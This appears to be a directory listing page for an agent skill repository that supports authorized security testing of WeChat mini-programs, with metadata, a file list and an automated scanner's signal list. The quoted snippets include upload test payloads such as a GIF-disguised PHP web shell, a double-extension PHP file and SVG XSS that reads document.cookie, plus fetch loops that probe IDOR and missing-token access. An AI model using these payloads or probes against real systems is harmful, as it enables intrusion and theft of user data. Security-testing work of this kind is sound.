#500 by GitHub stars

eeeeeeeeee-code/e0e1-wx

Use when reviewing authorized WeChat mini-program or mini-app targets for authentication bypass, IDOR, undefined-path access, API abuse, decryption and signature analysis, runtime reverse engineering, route mapping, and sensitive data exposure, with file-submission attack surfaces intentionally excl

History

Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.

View weekly changes

SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1f8dded6a3e8 → 1f8dded6a3e8

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1f8dded6a3e8

No earlier version was observed for comparison.

Compare on GitHub

View on GitHubAdd to my skills

Verified commit 1f8dded6a3e8c3c76806fb504999dc45ed61eac0

2.3kGitHub stars
0stars in 7 days
1skill in this repository
0commits in 30 days

Heat

0.9
  • Star growth, last 7 daysAhead of 6% of tracked repositories
  • Star growth, last 24 hoursAhead of 5% of tracked repositories
  • Rank movement, last 7 daysAhead of 30% of tracked repositories
  • Commits, last 30 daysAhead of 0% of tracked repositories
  • Accounts asking about it through MCP, last 7 daysNot available
  • Hot votes this weekAhead of 0% of tracked repositories

Heat never changes the order by stars, and sponsorship never touches it. How heat works

Stars over time

Aug 2, 2026Nov 2, 20262,251

Individual skills in this repository

How it works

miniapp-security-core

When your agent uses it

Use when reviewing authorized WeChat mini-program or mini-app targets for authentication bypass, IDOR, undefined-path access, API abuse, decryption and signature analysis, runtime reverse engineering, route mapping, and sensitive data exposure, with file-submission attack surfaces intentionally excluded.

What it loads into context

Frontmatter

62 tokens

Always available to the agent

SKILL.md

42,778 tokens

When the skill is activated

Reference documents

3,852 tokens

Loaded on request

Token counts are estimates. Scripts run separately; they are not counted as reference context.

The playbook

  1. ❌ 红线(违反即失败)
  2. ⚠<U+FE0F> 授权声明(必读)
  3. 评估流程总览
  4. 快速决策树(从目标直达 Phase)
  5. Phase 0:环境搭建
  6. Phase 1:路由发现与接口侦察
  7. Phase 2:渗透测试线索分析
  8. Phase 3:流量解密分析
  9. Phase 4:逆向分析与代码审计
  10. Phase 5:Vuex State 检查(授权范围内)
  11. Phase 6:报告导出
  12. MCP 工具完整索引
  13. 常见场景速查
  14. 经验法则(48 条)
  15. 解密算法支持速查表
  16. 逆向代码保护速查表
  17. 敏感信息检测速查表
  18. 漏洞报告模板
  19. 资源索引
  20. 更新记录

Scripts executed separately

  • main.py
  • package/__init__.py
  • package/applet_debug/__init__.py
  • package/applet_debug/runtime.py
  • package/applet_debug/state.py
  • package/applet_detail/__init__.py
  • package/applet_detail/cloud_page.py
  • package/applet_detail/constants.py
  • package/applet_detail/debug_page.py
  • package/applet_detail/decompile_cache.py
  • package/applet_detail/decompile_content.py
  • package/applet_detail/decompile_events.py
  • package/applet_detail/decompile_matches.py
  • package/applet_detail/decompile_page.py
  • package/applet_detail/decompile_processing.py
  • package/applet_detail/decompile_search.py
  • package/applet_detail/decompile_search_events.py
  • package/applet_detail/decompile_search_state.py
  • package/applet_detail/decompile_support.py
  • package/applet_detail/decompile_task_state.py
  • package/applet_detail/decompile_tree.py
  • package/applet_detail/devtools_page.py
  • package/applet_detail/logs_page.py
  • package/applet_detail/pages.py
  • package/applet_detail/preview_jump.py
  • package/applet_detail/reconnect_hint.py
  • package/applet_detail/widgets.py
  • package/applet_logs/__init__.py
  • package/applet_logs/models.py
  • package/applet_processing/__init__.py
  • package/applet_processing/manager.py
  • package/applet_routes/__init__.py
  • package/applet_routes/action_policy.py
  • package/applet_routes/bridge.py
  • package/applet_routes/nav_inject.js
  • package/applet_routes/navigator.py
  • package/applet_routes/page.py
  • package/applet_routes/search.py
  • package/applet_routes/service.py
  • package/applet_routes/state.py
  • package/applet_routes/worker.py
  • package/cleanup/__init__.py
  • package/cleanup/models.py
  • package/cleanup/service.py
  • package/cleanup/worker.py
  • package/cloud_audit/__init__.py
  • package/cloud_audit/cache.py
  • package/cloud_audit/history.py
  • package/cloud_audit/inject.js
  • package/cloud_audit/models.py
  • package/cloud_audit/runner.py
  • package/cloud_audit/runtime.py
  • package/cloud_audit/scanner.py
  • package/cloud_audit/worker.py
  • package/code_optimizer/__init__.py
  • package/code_optimizer/formatter.py
  • package/config/__init__.py
  • package/config/defaults.py
  • package/content_scanner/__init__.py
  • package/content_scanner/regex_scanner.py
  • package/crypto/__init__.py
  • package/crypto/core.py
  • package/crypto/service.py
  • package/decompiler/__init__.py
  • package/decompiler/auto_cache.py
  • package/decompiler/cache_keys.py
  • package/decompiler/constants.py
  • package/decompiler/core.py
  • package/decompiler/file_browser.py
  • package/decompiler/folder_names.py
  • package/decompiler/process_pool.py
  • package/decompiler/runner.py
  • package/decompiler/service.py
  • package/decompiler/worker.py
  • package/decompiler/worker_auto.py
  • package/decompiler/worker_decompile.py
  • package/decompiler/worker_files.py
  • package/decompiler/worker_jump_identifiers.py
  • package/decompiler/worker_matches.py
  • package/decompiler/worker_optimize.py
  • package/decompiler/worker_search.py
  • package/devtools/__init__.py
  • package/devtools/bridge.py
  • package/devtools/connection_stability.py
  • package/devtools/constants.py
  • package/devtools/engine.py
  • package/devtools/identity.py
  • package/devtools/js_injection_recovery.py
  • package/devtools/protocol_codec.py
  • package/devtools/protocol_constants.py
  • package/devtools/protocol_userscript.py
  • package/devtools/service.py
  • package/devtools/state.py
  • package/devtools/third_party/__init__.py
  • package/devtools/third_party/wmpf_debug_pb2.py
  • package/devtools/worker.py
  • package/js_injection/__init__.py
  • package/js_injection/catalog.py
  • package/js_injection/mode_overrides.py
  • package/js_injection/models.py
  • package/js_injection/paths.py
  • package/js_injection/runtime.py
  • package/js_injection/runtime_toggle.py
  • package/js_injection/service.py
  • package/js_injection/widgets.py
  • package/js_injection/worker.py
  • package/mcp_control/__init__.py
  • package/mcp_control/cdp_client.py
  • package/mcp_control/config.py
  • package/mcp_control/crypto_helpers.py
  • package/mcp_control/http_entry.py
  • package/mcp_control/local_app.py
  • package/mcp_control/runtime_session.py
  • package/mcp_control/service.py
  • package/mcp_control/token_middleware.py
  • package/mcp_control/worker.py
  • package/miniapp_jump/__init__.py
  • package/miniapp_jump/identifiers.py
  • package/miniapp_jump/jump_inject.js
  • package/miniapp_jump/navigator.py
  • package/miniapp_jump/page.py
  • package/miniapp_jump/record_context.py
  • package/miniapp_jump/state.py
  • package/monitor/__init__.py
  • package/monitor/constants.py
  • package/monitor/controller.py
  • package/monitor/paths.py
  • package/monitor/service.py
  • package/monitor/utils.py
  • package/monitor/windows.py
  • package/monitor/worker.py
  • package/monitor/worker_cleanup.py
  • package/monitor/worker_commands.py
  • package/monitor/worker_database.py
  • package/monitor/worker_files.py
  • package/monitor/worker_identity.py
  • package/monitor/worker_scan.py
  • package/regex_rules/__init__.py
  • package/regex_rules/presets.py
  • package/runtime/__init__.py
  • package/runtime/async_app.py
  • package/runtime/high_dpi.py
  • package/runtime/models.py
  • package/runtime/process_bootstrap.py
  • package/runtime/shutdown.py
  • package/runtime/task_bus.py
  • package/runtime/task_supervisor.py
  • package/runtime/ui_metrics.py
  • package/storage/__init__.py
  • package/storage/state_store.py
  • package/ui/__init__.py
  • package/ui/cards/__init__.py
  • package/ui/cards/batch_delete.py
  • package/ui/cards/card_widget.py
  • package/ui/cards/grid_controller.py
  • package/ui/cards/presenter.py
  • package/ui/cards/store.py
  • package/ui/config_dialog.py
  • package/ui/confirm_dialog.py
  • package/ui/constants.py
  • package/ui/crypto_dialog.py
  • package/ui/main_window.py
  • package/ui/main_window_controls.py
  • package/ui/main_window_monitor.py
  • package/ui/mcp_dialog.py
  • package/ui/paths.py
  • package/ui/record_text.py
  • package/ui/rules_dialog.py
  • package/ui/styles.py
  • package/ui/widgets.py
  • package/ui/window_chrome.py
  • tools/hook.js
  • tools/js/block_popups_runtime.js
  • tools/js/test_injection.js
  • tools/js/wx_environment_probe.js

Files

  • README.mddoc2,998 bytes
  • SKILL.mdcore148,700 bytes
  • SKILL.mdcore148,700 bytes
  • SKILL.mdcore148,700 bytes
  • SKILL.mdcore148,700 bytes
  • SKILL.mdcore148,700 bytes
  • SKILL.mdcore148,700 bytes
  • SKILL.mdcore148,700 bytes
  • SKILL.mdcore148,700 bytes
  • SKILL.mdcore148,700 bytes
  • SKILL.mdcore148,700 bytes
  • SKILL.mdcore148,700 bytes
  • SKILL.mdcore148,700 bytes
  • SKILL.mdcore148,700 bytes
  • SKILL.mdcore148,700 bytes
  • SKILL.mdcore148,700 bytes
  • SKILL.mdcore148,700 bytes
  • SKILL.mdcore148,700 bytes
  • SKILL.mdcore148,700 bytes
  • SKILL.mdcore148,700 bytes
  • SKILL.mdcore148,700 bytes
  • SKILL.mdcore148,700 bytes
  • SKILL.mdcore148,700 bytes
  • SKILL.mdcore148,700 bytes
  • SKILL.mdcore148,700 bytes
  • SKILL.mdcore148,700 bytes
  • SKILL.mdcore148,700 bytes
  • SKILL.mdcore148,700 bytes
  • SKILL.mdcore148,700 bytes
  • SKILL.mdcore148,700 bytes
  • SKILL.mdcore148,700 bytes
  • SKILL.mdcore148,700 bytes
  • SKILL.mdcore148,700 bytes
  • main.pyruns643 bytes
  • package/__init__.pyruns76 bytes
  • package/applet_debug/__init__.pyruns295 bytes
  • package/applet_debug/runtime.pyruns6,515 bytes
  • package/applet_debug/state.pyruns3,071 bytes
  • package/applet_detail/__init__.pyruns779 bytes
  • package/applet_detail/cloud_page.pyruns50,864 bytes
  • package/applet_detail/constants.pyruns387 bytes
  • package/applet_detail/debug_page.pyruns10,428 bytes
  • package/applet_detail/decompile_cache.pyruns20,066 bytes
  • package/applet_detail/decompile_content.pyruns20,639 bytes
  • package/applet_detail/decompile_events.pyruns19,456 bytes
  • package/applet_detail/decompile_matches.pyruns6,723 bytes
  • package/applet_detail/decompile_page.pyruns10,624 bytes
  • package/applet_detail/decompile_processing.pyruns15,138 bytes
  • package/applet_detail/decompile_search.pyruns11,921 bytes
  • package/applet_detail/decompile_search_events.pyruns2,905 bytes
  • package/applet_detail/decompile_search_state.pyruns1,365 bytes
  • package/applet_detail/decompile_support.pyruns18,372 bytes
  • package/applet_detail/decompile_task_state.pyruns3,486 bytes
  • package/applet_detail/decompile_tree.pyruns5,074 bytes
  • package/applet_detail/devtools_page.pyruns8,607 bytes
  • package/applet_detail/logs_page.pyruns5,213 bytes
  • package/applet_detail/pages.pyruns7,139 bytes
  • package/applet_detail/preview_jump.pyruns1,083 bytes
  • package/applet_detail/reconnect_hint.pyruns1,681 bytes
  • package/applet_detail/widgets.pyruns8,842 bytes
  • package/applet_logs/__init__.pyruns924 bytes
  • package/applet_logs/models.pyruns9,869 bytes
  • package/applet_processing/__init__.pyruns194 bytes
  • package/applet_processing/manager.pyruns18,581 bytes
  • package/applet_routes/__init__.pyruns2,236 bytes
  • package/applet_routes/action_policy.pyruns2,968 bytes
  • package/applet_routes/bridge.pyruns1,899 bytes
  • package/applet_routes/nav_inject.jsruns11,516 bytes
  • package/applet_routes/navigator.pyruns5,127 bytes
  • package/applet_routes/page.pyruns25,078 bytes
  • package/applet_routes/search.pyruns855 bytes
  • package/applet_routes/service.pyruns3,350 bytes
  • package/applet_routes/state.pyruns1,067 bytes
  • package/applet_routes/worker.pyruns12,103 bytes
  • package/cleanup/__init__.pyruns260 bytes
  • package/cleanup/models.pyruns849 bytes
  • package/cleanup/service.pyruns404 bytes
  • package/cleanup/worker.pyruns5,964 bytes
  • package/cloud_audit/__init__.pyruns2,385 bytes
  • package/cloud_audit/cache.pyruns3,950 bytes
  • package/cloud_audit/history.pyruns9,923 bytes
  • package/cloud_audit/inject.jsruns27,183 bytes
  • package/cloud_audit/models.pyruns5,682 bytes
  • package/cloud_audit/runner.pyruns1,861 bytes
  • package/cloud_audit/runtime.pyruns17,609 bytes
  • package/cloud_audit/scanner.pyruns12,978 bytes
  • package/cloud_audit/worker.pyruns12,383 bytes
  • package/code_optimizer/__init__.pyruns197 bytes
  • package/code_optimizer/formatter.pyruns6,795 bytes
  • package/config/__init__.pyruns67 bytes
  • package/config/defaults.pyruns3,360 bytes
  • package/content_scanner/__init__.pyruns161 bytes
  • package/content_scanner/regex_scanner.pyruns6,690 bytes
  • package/crypto/__init__.pyruns158 bytes
  • package/crypto/core.pyruns5,159 bytes
  • package/crypto/service.pyruns7,530 bytes
  • package/decompiler/__init__.pyruns584 bytes
  • package/decompiler/auto_cache.pyruns16,508 bytes
  • package/decompiler/cache_keys.pyruns5,347 bytes
  • package/decompiler/constants.pyruns755 bytes
  • package/decompiler/core.pyruns10,596 bytes
  • package/decompiler/file_browser.pyruns11,441 bytes
  • package/decompiler/folder_names.pyruns577 bytes
  • package/decompiler/process_pool.pyruns3,329 bytes
  • package/decompiler/runner.pyruns2,086 bytes
  • package/decompiler/service.pyruns1,919 bytes
  • package/decompiler/worker.pyruns7,677 bytes
  • package/decompiler/worker_auto.pyruns18,514 bytes
  • package/decompiler/worker_decompile.pyruns7,704 bytes
  • package/decompiler/worker_files.pyruns9,603 bytes
  • package/decompiler/worker_jump_identifiers.pyruns1,871 bytes
  • package/decompiler/worker_matches.pyruns5,920 bytes
  • package/decompiler/worker_optimize.pyruns4,580 bytes
  • package/decompiler/worker_search.pyruns6,328 bytes
  • package/devtools/__init__.pyruns150 bytes
  • package/devtools/bridge.pyruns4,999 bytes
  • package/devtools/connection_stability.pyruns3,054 bytes
  • package/devtools/constants.pyruns157 bytes
  • package/devtools/engine.pyruns26,517 bytes
  • package/devtools/identity.pyruns1,344 bytes
  • package/devtools/js_injection_recovery.pyruns1,685 bytes
  • package/devtools/protocol_codec.pyruns11,305 bytes
  • package/devtools/protocol_constants.pyruns3,317 bytes
  • package/devtools/protocol_userscript.pyruns3,587 bytes
  • package/devtools/service.pyruns28,906 bytes
  • package/devtools/state.pyruns1,123 bytes
  • package/devtools/third_party/__init__.pyruns62 bytes
  • package/devtools/third_party/wmpf_debug_pb2.pyruns17,445 bytes
  • package/devtools/worker.pyruns104,246 bytes
  • package/js_injection/__init__.pyruns1,256 bytes
  • package/js_injection/catalog.pyruns5,418 bytes
  • package/js_injection/mode_overrides.pyruns1,546 bytes
  • package/js_injection/models.pyruns775 bytes
  • package/js_injection/paths.pyruns378 bytes
  • package/js_injection/runtime.pyruns6,646 bytes
  • package/js_injection/runtime_toggle.pyruns10,950 bytes
  • package/js_injection/service.pyruns4,455 bytes
  • package/js_injection/widgets.pyruns19,159 bytes
  • package/js_injection/worker.pyruns2,907 bytes
  • package/mcp_control/__init__.pyruns278 bytes
  • package/mcp_control/cdp_client.pyruns9,429 bytes
  • package/mcp_control/config.pyruns3,421 bytes
  • package/mcp_control/crypto_helpers.pyruns6,333 bytes
  • package/mcp_control/http_entry.pyruns1,165 bytes
  • package/mcp_control/local_app.pyruns25,923 bytes
  • package/mcp_control/runtime_session.pyruns93,084 bytes
  • package/mcp_control/service.pyruns4,721 bytes
  • package/mcp_control/token_middleware.pyruns1,360 bytes
  • package/mcp_control/worker.pyruns9,725 bytes
  • package/miniapp_jump/__init__.pyruns1,664 bytes
  • package/miniapp_jump/identifiers.pyruns1,511 bytes
  • package/miniapp_jump/jump_inject.jsruns11,988 bytes
  • package/miniapp_jump/navigator.pyruns8,529 bytes
  • package/miniapp_jump/page.pyruns21,564 bytes
  • package/miniapp_jump/record_context.pyruns3,776 bytes
  • package/miniapp_jump/state.pyruns4,606 bytes
  • package/monitor/__init__.pyruns714 bytes
  • package/monitor/constants.pyruns278 bytes
  • package/monitor/controller.pyruns2,234 bytes
  • package/monitor/paths.pyruns3,258 bytes
  • package/monitor/service.pyruns808 bytes
  • package/monitor/utils.pyruns407 bytes
  • package/monitor/windows.pyruns6,575 bytes
  • package/monitor/worker.pyruns2,784 bytes
  • package/monitor/worker_cleanup.pyruns3,268 bytes
  • package/monitor/worker_commands.pyruns7,718 bytes
  • package/monitor/worker_database.pyruns21,204 bytes
  • package/monitor/worker_files.pyruns10,505 bytes
  • package/monitor/worker_identity.pyruns5,957 bytes
  • package/monitor/worker_scan.pyruns5,799 bytes
  • package/regex_rules/__init__.pyruns224 bytes
  • package/regex_rules/presets.pyruns8,881 bytes
  • package/runtime/__init__.pyruns1,539 bytes
  • package/runtime/async_app.pyruns1,827 bytes
  • package/runtime/high_dpi.pyruns2,607 bytes
  • package/runtime/models.pyruns884 bytes
  • package/runtime/process_bootstrap.pyruns970 bytes
  • package/runtime/shutdown.pyruns2,491 bytes
  • package/runtime/task_bus.pyruns854 bytes
  • package/runtime/task_supervisor.pyruns2,275 bytes
  • package/runtime/ui_metrics.pyruns1,021 bytes
  • package/storage/__init__.pyruns64 bytes
  • package/storage/state_store.pyruns16,529 bytes
  • package/ui/__init__.pyruns82 bytes
  • package/ui/cards/__init__.pyruns437 bytes
  • package/ui/cards/batch_delete.pyruns550 bytes
  • package/ui/cards/card_widget.pyruns6,656 bytes
  • package/ui/cards/grid_controller.pyruns1,967 bytes
  • package/ui/cards/presenter.pyruns736 bytes
  • package/ui/cards/store.pyruns1,352 bytes
  • package/ui/config_dialog.pyruns8,240 bytes
  • package/ui/confirm_dialog.pyruns2,739 bytes
  • package/ui/constants.pyruns357 bytes
  • package/ui/crypto_dialog.pyruns13,121 bytes
  • package/ui/main_window.pyruns9,332 bytes
  • package/ui/main_window_controls.pyruns5,970 bytes
  • package/ui/main_window_monitor.pyruns36,772 bytes
  • package/ui/mcp_dialog.pyruns6,017 bytes
  • package/ui/paths.pyruns747 bytes
  • package/ui/record_text.pyruns427 bytes
  • package/ui/rules_dialog.pyruns11,681 bytes
  • package/ui/styles.pyruns29,698 bytes
  • package/ui/widgets.pyruns1,464 bytes
  • package/ui/window_chrome.pyruns8,991 bytes
  • requirements.txtdoc327 bytes
  • tools.mddoc9,076 bytes
  • tools/config/win/addresses.11581.jsonasset144 bytes
  • tools/config/win/addresses.11633.jsonasset144 bytes
  • tools/config/win/addresses.13331.jsonasset144 bytes
  • tools/config/win/addresses.13341.jsonasset144 bytes
  • tools/config/win/addresses.13487.jsonasset144 bytes
  • tools/config/win/addresses.13639.jsonasset144 bytes
  • tools/config/win/addresses.13655.jsonasset144 bytes
  • tools/config/win/addresses.13871.jsonasset144 bytes
  • tools/config/win/addresses.13909.jsonasset144 bytes
  • tools/config/win/addresses.14161.jsonasset144 bytes
  • tools/config/win/addresses.14199.jsonasset144 bytes
  • tools/config/win/addresses.14315.jsonasset144 bytes
  • tools/config/win/addresses.16133.jsonasset144 bytes
  • tools/config/win/addresses.16203.jsonasset144 bytes
  • tools/config/win/addresses.16389.jsonasset144 bytes
  • tools/config/win/addresses.16467.jsonasset144 bytes
  • tools/config/win/addresses.16771.jsonasset144 bytes
  • tools/config/win/addresses.16815.jsonasset144 bytes
  • tools/config/win/addresses.16965.jsonasset144 bytes
  • tools/config/win/addresses.17037.jsonasset144 bytes
  • tools/config/win/addresses.17071.jsonasset144 bytes
  • tools/config/win/addresses.17127.jsonasset144 bytes
  • tools/config/win/addresses.18055.jsonasset144 bytes
  • tools/config/win/addresses.18151.jsonasset144 bytes
  • tools/config/win/addresses.18787.jsonasset144 bytes
  • tools/config/win/addresses.18891.jsonasset144 bytes
  • tools/config/win/addresses.18955.jsonasset144 bytes
  • tools/config/win/addresses.19027.jsonasset144 bytes
  • tools/config/win/addresses.19201.jsonasset144 bytes
  • tools/config/win/addresses.19339.jsonasset144 bytes
  • tools/config/win/addresses.19459.jsonasset144 bytes
  • tools/hook.jsruns7,918 bytes
  • tools/js/block_popups_runtime.jsruns4,218 bytes
  • tools/js/test_injection.jsruns961 bytes
  • tools/js/wx_environment_probe.jsruns8,003 bytes
  • wxid.dbasset32,768 bytes

No excerpt is shown for this license. Read the source on GitHub.

View the complete source on GitHub

Skills included

  • miniapp-security-core

Repository facts

License
No license detected
Created
May 10, 2024
Last pushed
May 26, 2026
Forks
338
Open issues
12
Project activity
Slowing

Rank over the last 12 weeks

Now #500 · best #359 · down 76 in 30 days

  1. #490 from Oct 31 to Nov 1
  2. #492 on Nov 2
  3. #496 on Nov 3
  4. #499 on Nov 4
  5. #498 on Nov 5
  6. #500 since Nov 6
50 earlier periods
  1. #339 on Aug 2
  2. #349 on Aug 7
  3. #352 on Aug 8
  4. #348 on Aug 9
  5. #364 on Aug 10
  6. #362 on Aug 11
  7. #356 on Aug 12
  8. #362 on Aug 13
  9. #360 on Aug 14
  10. #359 on Aug 15
  11. #366 on Aug 16
  12. #369 on Aug 19
  13. #371 on Aug 23
  14. #375 on Aug 26
  15. #379 on Aug 27
  16. #381 on Aug 28
  17. #374 on Aug 29
  18. #368 on Aug 30
  19. #378 on Aug 31
  20. #387 on Sep 3
  21. #378 on Sep 4
  22. #379 on Sep 6
  23. #389 on Sep 7
  24. #390 on Sep 9
  25. #391 on Sep 10
  26. #392 on Sep 11
  27. #393 on Sep 13
  28. #400 on Sep 14
  29. #403 on Sep 16
  30. #399 on Sep 17
  31. #401 on Sep 18
  32. #395 on Sep 19
  33. #402 on Sep 21
  34. #411 on Sep 22
  35. #402 on Sep 23
  36. #416 on Sep 28
  37. #418 on Oct 1
  38. #420 on Oct 6
  39. #424 on Oct 7
  40. #427 on Oct 10
  41. #428 on Oct 11
  42. #440 on Oct 12
  43. #448 on Oct 16
  44. #457 from Oct 19 to Oct 20
  45. #460 on Oct 21
  46. #458 on Oct 22
  47. #480 on Oct 25
  48. #487 on Oct 28
  49. #488 on Oct 29
  50. #489 on Oct 30

Before you install

Network or broad shell

Automated signals, not a guarantee

Checked Nov 3, 2026

Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.

Show 32 notes
  • SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
Show all 333 signals by file

README.md

  • Network accessline 3
    ![Platform](https://img.shields.io/badge/Platform-Windows_10%2F11-0078D4)
  • Network accessline 4
    ![Python](https://img.shields.io/badge/Python-3.10%2B-3776AB)
  • Network accessline 5
    ![GUI](https://img.shields.io/badge/GUI-PySide6-41CD52)
  • Network accessline 64
    - [r3x5ur/unveilr](https://github.com/r3x5ur/unveilr)
  • Network accessline 65
    - [Ackites/KillWxapkg](https://github.com/Ackites/KillWxapkg)
  • Network accessline 66
    - [x0tools/WeChatOpenDevTools](https://github.com/x0tools/WeChatOpenDevTools)
  • Network accessline 67
    - [mrknow001/wx_sessionkey_decrypt](https://github.com/mrknow001/wx_sessionkey_decrypt)
  • Network accessline 68
    - [JaveleyQAQ/WeChatOpenDevTools-Python](https://github.com/JaveleyQAQ/WeChatOpenDevTools-Python)
  • Network accessline 69
    - [Spade-sec/First](https://github.com/Spade-sec/First)

SKILL.md

  • Access to secretsline 299
    [Credential-related source omitted]
  • Network accessline 306
    {label:'gif_php',       fn:'shell.gif',       mime:'image/gif',       body:'GIF89a<?php system($_GET[\"c\"]);?>'},     {label:'double_ext',    fn:'img.php.jpg',     mime:'image/jpeg',      body:'<?php phpinfo();?>'},     {label:'svg_xss',  
  • Network accessline 307
    {label:'double_ext',    fn:'img.php.jpg',     mime:'image/jpeg',      body:'<?php phpinfo();?>'},     {label:'svg_xss',       fn:'xss.svg',         mime:'image/svg+xml',   body:'<svg xmlns=\"http://www.w3.org/2000/svg\"><script>alert(docume
  • Network accessline 308
    {label:'svg_xss',       fn:'xss.svg',         mime:'image/svg+xml',   body:'<svg xmlns=\"http://www.w3.org/2000/svg\"><script>alert(document.cookie)</script></svg>'},
  • Network accessline 516
    var results=[];   // 测试1: 不带 token   var r1=await fetch(url,{method:method,headers:{'Content-Type':'application/json'},body:body});
  • Network accessline 517
    // 测试1: 不带 token   var r1=await fetch(url,{method:method,headers:{'Content-Type':'application/json'},body:body});   results.push({test:'no_token',status:r1.status,body:await r1.text()});
  • Network accessline 518
    var r1=await fetch(url,{method:method,headers:{'Content-Type':'application/json'},body:body});
  • Network accessline 521
    [Credential-related source omitted]
  • Network accessline 522
    [Credential-related source omitted]
  • Network accessline 525
    [Credential-related source omitted]
  • Network accessline 526
    [Credential-related source omitted]
  • Network accessline 529
    [Credential-related source omitted]
  • Network accessline 530
    [Credential-related source omitted]
  • Network accessline 587
    var results=[];   for(var t of tests){     var r=await fetch('<目标URL>',{
  • Network accessline 588
    for(var t of tests){     var r=await fetch('<目标URL>',{       method:'POST',
  • Network accessline 589
    var r=await fetch('<目标URL>',{
  • Network accessline 638
    // BASELINE: 原始 /undefined 请求(确认服务端如何处理字面 undefined)   var rb=await fetch(baseUrl,{method:method,headers:headers});
  • Network accessline 639
    var rb=await fetch(baseUrl,{method:method,headers:headers});
  • Network accessline 644
    for(var id of testIds){     var url=baseUrl.replace('/undefined','/'+ id);     var r=await fetch(url,{method:method,headers:headers});
  • Network accessline 645
    var url=baseUrl.replace('/undefined','/'+ id);     var r=await fetch(url,{method:method,headers:headers});     var text=await r.text();
  • Network accessline 646
    var r=await fetch(url,{method:method,headers:headers});
  • Network accessline 1231
    {label:'double_ext',   filename:'img.php.jpg',    mime:'image/jpeg',   content:'<?php phpinfo();?>'},     // ─── 前端 XSS 类 ───     {label:'svg_xss',      filename:'xss.svg',        mime:'image/svg+xml',content:'<svg xmlns="http://www.w3.org/
  • Network accessline 1232
    // ─── 前端 XSS 类 ───     {label:'svg_xss',      filename:'xss.svg',        mime:'image/svg+xml',content:'<svg xmlns="http://www.w3.org/2000/svg"><script>alert(document.cookie)</script></svg>'},     {label:'html_xss',     filename:'xss.html',
  • Network accessline 1233
    {label:'svg_xss',      filename:'xss.svg',        mime:'image/svg+xml',content:'<svg xmlns="http://www.w3.org/2000/svg"><script>alert(document.cookie)</script></svg>'},
  • Access to secretsline 1301
    [Credential-related source omitted]
  • Access to secretsline 1303
    [Credential-related source omitted]
  • Network accessline 1452
    var results=[];   for(var p of paths){     var r=await fetch(p,{method:'POST',
  • Network accessline 1453
    for(var p of paths){     var r=await fetch(p,{method:'POST',       headers:{'Content-Type':'application/json'},
  • Network accessline 1454
    var r=await fetch(p,{method:'POST',
  • Network accessline 1480
    var results=[];   for(var p of oauthPaths){     var r=await fetch(p);
  • Network accessline 1481
    for(var p of oauthPaths){     var r=await fetch(p);     if(r.status!==404) results.push({path:p,status:r.status});
  • Network accessline 1482
    var r=await fetch(p);
  • Network accessline 1499
    [Credential-related source omitted]
  • Network accessline 1500
    [Credential-related source omitted]
  • Network accessline 1501
    var g=await fetch(path,{method:'GET',
  • Network accessline 1503
    var fd=new FormData();     fd.append('file',new Blob(['test'],{type:'text/plain'}),'test.txt');     var p=await fetch(path,{method:'POST',
  • Network accessline 1504
    [Credential-related source omitted]
  • Network accessline 1505
    var p=await fetch(path,{method:'POST',
  • Network accessline 1541
    var results=[];   for(var p of probes){     var r=await fetch(p.path,{method:'GET'});
  • Network accessline 1542
    for(var p of probes){     var r=await fetch(p.path,{method:'GET'});     var hdrs={};
  • Network accessline 1543
    var r=await fetch(p.path,{method:'GET'});
  • Network accessline 1590
    for(var res of resources){     for(var id of testIds.slice(0,4)){       var r=await fetch('/api/'+res+'/'+id,{method:'GET',
  • Network accessline 1591
    [Credential-related source omitted]
  • Network accessline 1592
    var r=await fetch('/api/'+res+'/'+id,{method:'GET',
  • Network accessline 1624
    'Content-Type':'application/json'}};     if(m!=='GET') init.body=JSON.stringify({});     var r=await fetch(url,init);
  • Network accessline 1625
    if(m!=='GET') init.body=JSON.stringify({});     var r=await fetch(url,init);     results.push({method:m,status:r.status});
  • Network accessline 1626
    var r=await fetch(url,init);
  • Dangerous shell operationline 1889
    expression="(()=>{const checks=[];try{eval('debugger')}catch(e){checks.push('eval_blocked')};if(Function.prototype.toString().includes('native'))checks.push('toString_ok');return checks})()")
  • Access to secretsline 1974
    [Credential-related source omitted]
  • Access to secretsline 2234
    [Credential-related source omitted]
  • Network accessline 2311
    # 内网 API 地址 debugger_ops(action="search_in_sources",              query="http://(10\\.|172\\.1[6-9]|172\\.2\\d|172\\.3[01]|192\\.168\\.)|https://(dev|test|staging|uat)\\.|http://(dev|test|staging|uat)\\.")
  • Network accessline 2313
    query="http://(10\\.|172\\.1[6-9]|172\\.2\\d|172\\.3[01]|192\\.168\\.)|https://(dev|test|staging|uat)\\.|http://(dev|test|staging|uat)\\.")
  • Network accessline 2689
    var results=[];   for(var id of testIds){     var r=await fetch(baseUrl.replace('/undefined','/'+id),{method:'GET',headers:headers});
